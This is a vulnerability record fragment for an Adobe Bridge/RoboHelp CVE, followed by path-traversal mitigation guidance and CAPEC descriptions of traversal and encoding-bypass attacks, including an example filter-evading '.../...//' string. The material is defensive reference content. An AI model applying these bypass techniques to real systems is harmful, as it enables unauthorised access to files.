"published": "2022-05-24T19:21:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42727"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/bridge/apsb21-94.html"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/robohelp-server/apsb21-87.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.